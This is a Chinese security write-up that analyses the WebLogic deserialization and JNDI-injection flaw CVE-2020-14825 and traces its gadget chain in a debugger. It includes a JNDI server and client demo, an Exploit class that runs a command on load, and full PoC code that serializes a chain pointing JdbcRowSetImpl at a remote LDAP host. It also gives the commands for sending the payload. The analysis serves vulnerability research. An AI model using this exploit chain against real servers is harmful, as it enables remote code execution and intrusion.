一、原理
(一)概述
不安全的反序列化漏洞已成为针对Java Web应用程序的研究者的普遍目标。这些漏洞通常会导致RCE,并且通常不容易完全修补。CVE-2020-14825就属于这一类。
(二)CVE-2020-14825
前面我认为针对CVE-2015-4852的补丁的绕过有两种思路,一是寻找新的可利用的类(新gadget),二是换可触发利用链的反序列化点,感觉JNDI注入类的已经不属于不完全属于这两种思路了(脸好疼)。
在这一类漏洞中,Victim反序列化的对象起到的是让Victim执行远程查询的效果,接下来直接加载远程class而没有像前面一样执行gadget类的readObject。
然而,传过去的触发JNDI注入的对象依然值得我们关注。
(三)原理
JNDI(全称Java Naming and Directory Interface)是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。和与主机系统接口的所有Java api一样,JNDI独立于底层实现。此外,它指定了一个服务提供者接口(SPI),该接口允许将目录服务实现插入到框架中。通过JNDI查询的信息可能由服务器、文件或数据库提供,选择取决于所使用的实现。
JNDI注入大致流程,
1.攻击者向其控制的Naming/Directory服务上绑定一个恶意对象。
2.攻击者向有漏洞的JDNI lookup方法发送恶意URL(ip为恶意N/D,且指向绑定的恶意对象)。
3.Victim执行lookup。
4.Victim向攻击者控制的N/D服务器发起查询,N/D返回恶意对象。
5.Victim反序列化恶意对象,触发RCE。
个人理解,JNDI注入简单来说,就是在victim在执行lookup(URI)时,如果URI是恶意的,那么victim就会被攻击,所以JDNI最难的就是如何让victim来lookup我们构造的URI。
下面我们以一个常见的demo来简单演示JNDI攻击过程,
先是JNDIServer,
package JNDI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference Exploit = new Reference("Exploit", "Exploit", "http://127.0.0.1:7077/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(Exploit);
registry.bind("Exploit", refObjWrapper);
}
}
再是JNDIClient,
package JNDI;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Properties;
public class JNDIClient {
public static void main(String[] args) throws NamingException {
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://127.0.0.1:7099/");
Context ctx = new InitialContext(env);
//ctx.lookup("Exploit");
//ctx.lookup("rmi://127.0.0.1:1099/Exploit");
ctx.lookup("ldap://127.0.0.1:7099/Exploit");
}
}
然后是我们要注册的恶意类,此处是Exploit,
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
public class Exploit implements ObjectFactory {
public Exploit() {
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
static {
try {
String[] cmd = new String[]{"calc"};
Runtime.getRuntime().exec(cmd);
} catch (Exception var1) {
var1.printStackTrace();
}
}
}
接下来编译Exploit,并将class文件放在httpserver根目录下,
启动server,
启动JNDIServer,
启动JNDIClient,
可见,执行lookup(恶意url),就有可能触发RCE。
这里,我们省去了最难的lookup之前这一部分,即让victim向JNDI server发起请求,这一部分的实现就是同一类漏洞之间的差异了,我们将在调试环节详细演示。
二、调试
(一)环境搭建
此处选用Windows10、JDK8u41,webLogic12.1.4
若要查找调试此漏洞需要的包,可使用如下脚本(参见脚本链接),
#!/bin/bash
if [ $# -lt 1 ]; then
echo "Usage: $0 name [path ...]";
exit 2;
fi
name=${1//./\/};
shift;
path=${@:-.};
function check-jar() {
jar -tf "$1" | grep -iH --label "$1" "$name";
}
status=1;
while read -r -d '' jarfile; do
check-jar "$jarfile" && status=0;
done < <(find $path -type f -name '*.jar' -size +22c -print0)
exit $status;
另,调试此漏洞,JDK版本不宜过高, JDK8u113之后默认不允许RMI从远程的 Codebase加载Reference工厂类(系统属性com.sun.jndi.rmi.object.trustURLCodebase、 com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值为false)。
若要修改weblogic的jdk版本,可参考链接,
修改文件X:\xxxx\user_projects\domains\base_domain\bin\setDomainEnv.cmd
在call “%WL_HOME%..\oracle_common\common\bin\commEnv.cmd”
一行后面增加
set JAVA_HOME=E:\Java\java8u41(Java路径)
若要启动调试,可在startWebLogic.cmd中的首部加上
set JAVA_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n
类似的方法有很多,不再赘述
(二)复现
这里使用大佬生成payload的代码,参考链接,
import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import ysoserial.payloads.util.Reflections;
import java.io.*;
import java.util.PriorityQueue;
public class CVE_2020_14825 {
public static void main(String[] args) throws Exception {
MethodAttributeAccessor accessor = new MethodAttributeAccessor();
accessor.setAttributeName("x");
accessor.setIsWriteOnly(true);
accessor.setGetMethodName("getDatabaseMetaData");
// accessor.setGetMethodName("connect"); //与上面的getDatabaseMetaData基本等效
LockVersionExtractor extractor = new LockVersionExtractor(accessor,"");
JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(com.sun.rowset.JdbcRowSetImpl.class);
jdbcRowSet.setDataSourceName("ldap://192.168.5.27:7099/#poc");
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(extractor));
Reflections.setFieldValue(queue,"size",2);
Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(new File("cve_2020_14825.ser")));
out.writeObject(queue);
out.flush();
out.close();
// readObject(); //不注释掉可以直接测试
}
public static void readObject() {
FileInputStream fis = null;
try {
fis = new FileInputStream(new File("").getAbsolutePath() + "/cve_2020_14825.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
先启动weblogic server,
再启动http服务,开在9090端口,
py -3 -m http.server 9090
接下来是LDAP server,服务开在7099端口,
python发送payload即可,
python2 .\weblogic.py 127.0.0.1 7001 .\cve_2020_14825.ser
(三)调试
下面会结合部分上述代码进行调试分析,
调用栈,
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getAttributeValueFromObject:82, MethodAttributeAccessor (org.eclipse.persistence.internal.descriptors)
getAttributeValueFromObject:61, MethodAttributeAccessor (org.eclipse.persistence.internal.descriptors)
extract:51, LockVersionExtractor (oracle.eclipselink.coherence.integrated.internal.cache)
compare:71, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
...
将调用栈分作两段来分析。
从本文的原理部分我们可以看到,JdbcRowSetImpl的connect函数有lookup()的调用,那么我们要关注两点,一是参数是否可控,二是调用点是否可达。
参数是否可控这一点理论上是比较容易看出的,
看看getDataSourceName(),
dataSource是private变量,
是可控的,
这一部分在PoC中有所体现,
JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(com.sun.rowset.JdbcRowSetImpl.class);
jdbcRowSet.setDataSourceName("ldap://192.168.5.27:7099/#poc");
下面我们需要关注lookup调用点是否可达,首先要看,connect函数本身的内部,
首先一点就是要保证this.conn为null,大致意思是这是首次连接,否则就要return conn。
接下来才能进入else if{}中,这时要保证this.getDataSourceName()不为null,这一点和我们控制dataSource的想法是一致的。
接下来的问题就是,如何调用connect,一般来讲我们发送给webLogic的对象要经过层层波折,最终才能到达这个触发点。
这里有三个函数prepare, getDatabaseMetaData,setAutoCommit,
都看一下,
理论上都可以,毕竟都可以做到首次连接。
PoC里用的是getDatabaseMetaData,到此,我们看看PoC对应的代码,
accessor.setGetMethodName("getDatabaseMetaData");
当然,这里的setGetMethodName的参数不一定非要是”getDatabaseMetaData”,因为这里的getMethodName 是要被调用的,只要能调用connect函数就行,直接调用connect都可。
所以有如下结果,
这一部分我们从CC链部分开始看起,
首先进入PriorityQueue的heapify,
接下来,若要进入siftDown,需要保证queue的size至少为2,
对应代码里的,
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(extractor));
Reflections.setFieldValue(queue,"size",2);
然后的流程和comparator有关,
这里我们已经控制了comparator为ExtractorComparator,对应代码的下面的片段,
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(extractor));
next,会顺利comparator.compare(),
what follows is o1.extract(),这里的o1是上图的x,this.m_extractor为LockVersionExtractor,
对应代码里的如下片段,
LockVersionExtractor extractor = new LockVersionExtractor(accessor,"");
...
Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;
then,顺利到达LockVersionExtractor.extract中的this.accessor.getAttributeValueFromObject(arg0)(这里有一个小点,即为什么可以顺利到达,会在下面讲到),
往后,会进入重载的getAttributeValueFromObject(),
顺利抵达上图中的this.getMethod.invoke(),
接下来就是正常的调用过程,此处就省略几步,直到下图,
正式调用getDatabaseMetaData,和前面的规划对接成功。
LockVersionExtractor.extract()中有一个需要注意的小点如下,
getAttributeValueFromObject:61, MethodAttributeAccessor (org.eclipse.persistence.internal.descriptors)
extract:51, LockVersionExtractor (oracle.eclipselink.coherence.integrated.internal.cache)
在上面两步之间,会经历下面这样的过程,
因为我们的目的是进入this.accessor.getAttributeValueFromObject(arg0),我们就得保证程序可以顺利抵达return这一行,我们要防止在上图红圈那一行被打断。
我们看上图展示的点,
应该是必然会进入if (!this.accessor.isInitialized())的,
下面我们看this.accessor.initializeAttributes(arg0.getClass()),
发现如果this.getAttributeName() == null,就会抛出异常,后面的流程就无法执行。
所以我们需要设置一个attributeName;
除此以外,下面还有一步,
可以看到,如果isWriteOnly为false,则会执行this.setSetMethod(Helper.getDeclaredMethod(theJavaClass, this.getSetMethodName(), this.getSetMethodParameterTypes()));
跟进Helper.getDeclaredMethod(),
会进入PrivilegedAccessHelper.getMethod(javaClass, methodName, methodParameterTypes, true);,
继续跟进,
可以看到,最终会调用javaClass.getDeclaredMethod(methodName, methodParameterTypes);
结合上面的情况,我们知道此处的methodName即为MethodAttributeAccessor.setMethodName,
所以如果再向下执行,就会抛出异常,
这里我能想到的解决方法有二,一是将setMethodName设为一个有效值,如getDatabaseMetaData;第二种是将isWriteOnly设置为true,直接避免了后面的所有行为。
然而经测试,第一种没有用(可能是我愚钝不知哪里错了)。
将isWriteOnly设置为true更为简单有效。
所以我们看到,代码里有下面三行。
accessor.setAttributeName("xxx");
accessor.setIsWriteOnly(true);
accessor.setGetMethodName("getDatabaseMetaData");
三、收获与启示
CVE-2020-14825和CVE-2020-14645有比较高的相似度,大致思路都是接上JdbcRowSetImpl的connect,而且二者也都使用了PrioritizeQueue 的模板链。这两个漏洞又一次向我们展示了拦腰截断的防御并不是特别有效,有一定的可能被counterpart接上。
参考链接